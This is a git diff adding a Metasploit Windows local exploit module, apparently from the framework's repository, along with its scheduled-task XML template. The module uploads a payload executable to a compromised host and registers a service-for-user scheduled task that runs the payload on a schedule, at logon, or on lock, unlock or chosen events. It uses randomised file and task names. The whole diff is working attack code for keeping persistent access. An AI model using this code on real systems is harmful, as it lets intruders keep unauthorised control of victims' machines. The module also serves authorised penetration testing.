diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence new file mode 100644 index 0000000000..2d736d225e --- /dev/null +++ b/data/exploits/s4u_persistence @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 0000000000..0d5189064a --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,402 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" ', + 'Brandon McCann "zeknox" ' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + print_error("This module only works on Vista/2008 and above") + return + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_error("Advanced options EVENT_LOG and EVENT_ID required for event") + print_status("The properties of any event in the event viewer will contain this information") + return + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_response = upload_rexe(rexe_path, payload) + return if not upload_response + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + if not write_xml(xml, xml_path) + delete_file(rexe_path) + return + end + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + task = create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + if datastore['REXENAME'].nil? + rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + return rexename + elsif datastore['REXENAME'] =~ /\.exe$/ + rexename = datastore['REXENAME'] + return rexename + else + print_warning("#{datastore['REXENAME']} isn't an exe") + return rexename + end + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + print_error("File #{path} already exists...exiting") + return false + end + begin + fd = client.fs.file.new(path, "wb") + fd.write(payload) + fd.close + rescue + print_error("Could not upload to #{path}") + return false + end + print_status("Successfully uploaded remote executable to #{path}") + return true + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? + # Append xpath queries + line << " and #{datastore['XPATH']}" + end + vprint_status("XPath query: #{line}") + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/.*?PT#{minutes}M<") + + # Generate expire tag + end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "#{date}T#{time}" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " #{trig}\n" + temp_xml << " #{domain}\\#{user}\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path) + begin + if file? path + print_error("File #{path} already exists...exiting") + return false + end + fd = session.fs.file.new(path, "wb") + fd.write(xml) + fd.close + rescue + print_error("Issues writing XML to #{path}") + return false + end + print_status("Successfully wrote XML file to #{path}") + return true + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + session.fs.file.rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + return false + end + return true + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + return true + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + print_error("The scheduled task name is already in use") + # Clean up + delete_file(rexe_path) + delete_file(path) + else + print_error("Issues creating task using XML file schtasks") + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + return false + end + end +end \ No newline at end of file